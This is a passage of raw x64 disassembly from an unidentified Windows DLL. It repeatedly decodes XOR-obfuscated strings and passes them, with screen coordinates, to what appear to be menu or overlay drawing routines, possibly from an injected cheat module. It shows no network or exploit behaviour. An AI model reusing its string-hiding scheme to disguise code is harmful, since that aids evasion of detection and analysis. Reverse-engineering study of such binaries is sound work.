mov dword [rbp + 0x118], eax
lea rcx, [rbp + 0x118]
movzx eax, word [0x1801c37a4]
xor byte [rbp + 0x119], 0x37
xor byte [rbp + 0x11a], 0x38
xor byte [rbp + 0x11b], 0x39
mov word [rbp + 0x11c], ax
xor al, 0x3a
xor byte [rbp + 0x11d], 0x3b
mov byte [rbp + 0x11c], al
mov dword [rbp + 0x620], 0x42e60000
mov dword [rbp + 0x624], 0x42200000
mov byte [rbp + 0x118], 0x53
call fcn.180002c70
test al, al
je 0x180095374
mov byte [0x180249440], 1
call fcn.180012180
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
call fcn.180016950
addss xmm0, xmm6
call fcn.180025760
movzx ecx, word [0x1801c37ac]
lea rdx, [rbp + 0x628]
mov eax, dword [str.uVVZ_W_]
mov dword [rbp + 0x238], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x239], 0x37
xor al, 0x3c
xor byte [rbp + 0x23a], 0x38
xor byte [rbp + 0x23b], 0x39
mov word [rbp + 0x23c], cx
xor cl, 0x3a
xor byte [rbp + 0x23d], 0x3b
mov byte [rbp + 0x23c], cl
lea rcx, [rbp + 0x238]
mov dword [rbp + 0x628], 0x42e60000
mov dword [rbp + 0x62c], 0x42200000
mov byte [rbp + 0x238], 0x43
mov byte [rbp + 0x23e], al
call fcn.180002c70
test al, al
je 0x180095414
call fcn.180012180
call fcn.180014ba0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
call fcn.180006c20
call fcn.180013d50
jmp 0x18009543b
movss xmm7, dword [0x1801c6db8]
cmp dword [0x18024dbfc], 3
jne 0x180095e53
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x630]
addss xmm0, xmm7
mov dword [rbp + 0x630], 0x43520000
movss dword [rbp + 0x634], xmm0
call fcn.180025700
mov eax, dword [0x1801c37b0]
lea rdx, [rbp + 0x638]
mov dword [rbp + 0x38], eax
lea rcx, [rbp + 0x38]
movzx eax, byte [0x1801c37b4]
mov r9d, 8
xor byte [rbp + 0x39], 0x37
xor al, 0x3a
xor byte [rbp + 0x3a], 0x38
xor r8d, r8d
xor byte [rbp + 0x3b], 0x39
mov byte [rbp + 0x3c], al
mov dword [rbp + 0x638], 0x43a50000
mov dword [rbp + 0x63c], 0x4405c000
mov byte [rbp + 0x38], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c37bf], r14b
mov rax, qword [str.pE_YZQpE_YZQeG__]
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x640], 0x43a00000
mov dword [rbp + 0x644], 0x43ed8000
je 0x180095624
cmp r12d, 2
jl 0x1800955e6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x648]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x648], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x64c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x64c], xmm2
jmp 0x180095624
lea r9, [rbp + 0x648]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800955f0
xor r9d, r9d
lea rdx, [rbp + 0x640]
mov r8b, 1
lea rcx, [rbp + 0x648]
call fcn.180003d00
cmp byte [0x1801c37c7], r14b
mov rax, qword [0x1801c37c0]
mov qword [rbp + 0x650], rax
je 0x180095794
cmp r12d, 2
jl 0x18009574b
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x650]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x650], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x654]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x654], xmm2
jmp 0x180095794
lea r9, [rbp + 0x650]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180095760
lea rdx, [0x180248fa4]
lea rcx, [rbp + 0x650]
call fcn.1800032d0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
mov eax, dword [0x1801c37c8]
lea rbx, [0x1801b3b4c]
mov dword [rbp + 0x120], eax
lea rdx, [0x180248fa8]
movzx eax, word [0x1801c37cc]
lea rcx, [rbp + 0x120]
xor byte [rbp + 0x121], 0x37
mov r9d, reloc.WLDAP32.dll_Ordinal_30
xor byte [rbp + 0x122], 0x38
mov r8d, 1
xor byte [rbp + 0x123], 0x39
mov word [rbp + 0x124], ax
xor byte [rbp + 0x124], 0x3a
xor byte [rbp + 0x125], 0x3b
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x120], 0x53
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x658]
addss xmm0, xmm7
mov dword [rbp + 0x658], 0x44070000
movss dword [rbp + 0x65c], xmm0
call fcn.180025700
movzx ecx, word [0x1801c37d4]
lea rdx, [rbp + 0x660]
mov eax, dword [0x1801c37d0]
mov r9d, 8
mov dword [rbp + 0x240], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x241], 0x37
xor al, 0x3c
xor byte [rbp + 0x242], 0x38
xor byte [rbp + 0x243], 0x39
mov word [rbp + 0x244], cx
xor cl, 0x3a
xor byte [rbp + 0x245], 0x3b
mov byte [rbp + 0x244], cl
lea rcx, [rbp + 0x240]
mov dword [rbp + 0x660], 0x43a00000
mov dword [rbp + 0x664], 0x4405c000
mov byte [rbp + 0x240], Ordinal_79
mov byte [rbp + 0x246], al
call fcn.18000fcc0
movzx eax, byte [0x1801c37e0]
lea rdx, [rbp + 0x668]
movsd xmm0, qword [0x1801c37d8]
lea rcx, [rbp + 0xe98]
movsd qword [rbp + 0xe98], xmm0
xor al, 0x3e
xor byte [rbp + 0xe99], 0x37
xor r9d, r9d
xor byte [rbp + 0xe9a], 0x38
mov r8b, 1
xor byte [rbp + 0xe9b], 0x39
xor byte [rbp + 0xe9c], 0x3a
xor byte [rbp + 0xe9d], 0x3b
xor byte [rbp + 0xe9e], 0x3c
xor byte [rbp + 0xe9f], 0x3d
mov byte [rbp + 0xea0], al
mov dword [rbp + 0x668], 0x43a00000
mov dword [rbp + 0x66c], 0x43ed8000
mov byte [rbp + 0xe98], 0x53
call fcn.180003d00
cmp byte [0x1801c37fd], r14b
mov eax, dword [0x1801c37f8]
movups xmm0, xmmword [0x1801c37e8]
mov dword [rbp + 0x25c0], eax
movzx eax, word [0x1801c37fc]
movups xmmword [rbp + 0x25b0], xmm0
mov word [rbp + 0x25c4], ax
je 0x180095b04
mov r8d, r14d
cmp r12d, 2
jl 0x180095abb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x25b4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800959c0
cmp r8d, 0x16
jge 0x180095b04
movsxd rax, r8d
lea r9, [rbp + 0x25b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x180095ad0
lea rdx, [0x180248fae]
lea rcx, [rbp + 0x25b0]
call fcn.1800032d0
cmp byte [0x1801c3811], r14b
movups xmm0, xmmword [str.dRIL_HH]
movzx eax, word [0x1801c3810]
mov word [rbp + 0x2278], ax
movups xmmword [rbp + 0x2268], xmm0
je 0x180095ca4
mov r8d, r14d
cmp r12d, 2
jl 0x180095c5b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x226c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180095b60
cmp r8d, 0x12
jge 0x180095ca4
movsxd rax, r8d
lea r9, [rbp + 0x2268]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180095c70
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x2268]
call fcn.1800032d0
mov eax, dword [str._4___D]
mov r8d, r14d
movsd xmm0, qword [str.sO_ZOOY]
mov dword [rbp + 0x1c18], eax
movzx eax, word [0x1801c3824]
mov word [rbp + 0x1c1c], ax
movzx eax, byte [0x1801c3826]
mov byte [rbp + 0x1c1e], al
movsd qword [rbp + 0x1c10], xmm0
cmp r12d, 2
jl 0x180095de8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sO_ZOOY]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c10], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c14]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180095e00
lea rdx, [0x18024954c]
lea rcx, [rbp + 0x1c10]
call fcn.180007380
call fcn.180006c20
call fcn.180013d50
jmp 0x180095e5a
lea rbx, [0x1801b3b4c]
cmp dword [0x18024dbfc], 4
jne 0x1800977dc
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x670]
addss xmm0, xmm7
mov dword [rbp + 0x670], 0x43520000
movss dword [rbp + 0x674], xmm0
call fcn.180025700
mov eax, dword [0x1801c3828]
lea rdx, [rbp + 0x678]
mov dword [rbp + 0x40], eax
lea rcx, [rbp + 0x40]
movzx eax, byte [0x1801c382c]
mov r9d, 8
xor byte [rbp + 0x41], 0x37
xor al, 0x3a
xor byte [rbp + 0x42], 0x38
xor r8d, r8d
xor byte [rbp + 0x43], 0x39
mov byte [rbp + 0x44], al
mov dword [rbp + 0x678], 0x43a50000
mov dword [rbp + 0x67c], 0x4405c000
mov byte [rbp + 0x40], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c383d], r14b
mov eax, dword [0x1801c3838]
movsd xmm0, qword [str.XVe]
mov dword [rbp + 0x19b8], eax
movzx eax, word [0x1801c383c]
mov word [rbp + 0x19bc], ax
mov dword [rbp + 0x680], 0x43a00000
mov dword [rbp + 0x684], 0x43ed8000
movsd qword [rbp + 0x19b0], xmm0
je 0x180096074
mov r8d, r14d
cmp r12d, 2
jl 0x180096028
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.XVe]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x19b0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19b4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180096040
xor r9d, r9d
lea rdx, [rbp + 0x680]
mov r8b, 1
lea rcx, [rbp + 0x19b0]
call fcn.180003d00
mov eax, dword [0x1801c3848]
mov r8d, r14d
movsd xmm0, qword [str.XVeZTRK_3B]
mov dword [rbp + 0x1838], eax
movzx eax, byte [0x1801c384c]
mov byte [rbp + 0x183c], al
movsd qword [rbp + 0x1830], xmm0
cmp r12d, 2
jl 0x1800961b0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.XVeZTRK_3B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1830], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1834]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1834], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1830]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800961c0
lea r15, [0x18024dcc0]
mov qword [rsp + 0x28], r14
mov rdx, r15
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rcx, [rbp + 0x1830]
mov r8d, 0x40
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
mov eax, dword [str.XV_]
lea rdx, [rbp + 0x688]
mov dword [rbp + 0x128], eax
lea rcx, [rbp + 0x128]
movzx eax, word [0x1801c3854]
xor r9d, r9d
xor byte [rbp + 0x129], 0x37
mov r8b, 1
xor byte [rbp + 0x12a], 0x38
xor byte [rbp + 0x12b], 0x39
mov word [rbp + 0x12c], ax
xor al, 0x3a
xor byte [rbp + reloc.WLDAP32.dll_Ordinal_301], 0x3b
mov byte [rbp + 0x12c], al
mov dword [rbp + 0x688], 0x43b90000
mov dword [rbp + 0x68c], 0x438e8000
mov byte [rbp + 0x128], Ordinal_79
call fcn.18000fcc0
mov ebx, r14d
lea rdi, [0x18024b508]
nop word [rax + rax]
mov rsi, qword [rdi]
mov rax, r13
inc rax
cmp byte [r15 + rax], r14b
jne 0x1800962b6
test rax, rax
je 0x1800962d4
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180096307
cmp dword [0x18024b500], ebx
lea r9, [rbp + 0x690]
mov rcx, rsi
mov dword [rbp + 0x690], r14d
sete dl
mov dword [rbp + 0x694], r14d
xor r8d, r8d
call fcn.180008320
test al, al
je 0x180096307
mov dword [0x18024b500], ebx
inc ebx
add rdi, 8
cmp ebx, 0x206
jl 0x1800962b0
call fcn.180013d50
lea rcx, [rbp + 0x698]
call fcn.180016840
cmp byte [0x1801c3865], r14b
movss xmm0, dword [rax]
mov eax, dword [str.sP__.C]
movss dword [rbp + 0x6a0], xmm0
movsd xmm0, qword [str.dRKMUIY]
mov dword [rbp + 0x19c8], eax
movzx eax, word [0x1801c3864]
movsd qword [rbp + 0x19c0], xmm0
mov word [rbp + 0x19cc], ax
mov dword [rbp + 0x6a4], 0x42200000
je 0x1800964b4
mov r8d, r14d
cmp r12d, 2
jl 0x18009646d
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dRKMUIY]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x19c0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19c4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180096480
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x19c0]
call fcn.180002c70
test al, al
je 0x1800964e4
cmp qword [0x18024b0a0], r14
je 0x1800964e4
cmp qword [0x180249490], r14
je 0x1800964e4
mov byte [0x180249498], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x6a8]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c3870]
movss dword [rbp + 0x6b0], xmm0
movsd xmm0, qword [str.u_YW_]
mov dword [rbp + 0x17a8], eax
movzx eax, byte [0x1801c3874]
movsd qword [rbp + 0x17a0], xmm0
mov byte [rbp + 0x17ac], al
mov dword [rbp + 0x6b4], 0x42200000
cmp r12d, 2
jl 0x180096637
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.u_YW_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x17a0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17a4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17a0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180096650
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x17a0]
call fcn.180002c70
test al, al
je 0x18009689f
mov rax, qword [0x18024b0a0]
test rax, rax
je 0x18009689f
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x18009689f
cmp byte [0x18024dd00], r14b
movups xmm0, xmmword [0x1801c3880]
movups xmm1, xmmword [0x1801c3890]
jne 0x1800966e4
mov eax, dword [rcx + 0x18]
mov qword [0x180249490], rax
mov byte [0x18024dd00], 1
movups xmmword [rbp + 0x2e30], xmm0
movups xmm0, xmmword [0x1801c38a0]
movups xmmword [rbp + 0x2e50], xmm0
movups xmm0, xmmword [0x1801c38c0]
movups xmmword [rbp + 0x2e40], xmm1
movups xmm1, xmmword [0x1801c38b0]
movups xmmword [rbp + 0x2e70], xmm0
movups xmmword [rbp + 0x2e60], xmm1
cmp r12d, 2
jl 0x180096835
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2e34]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
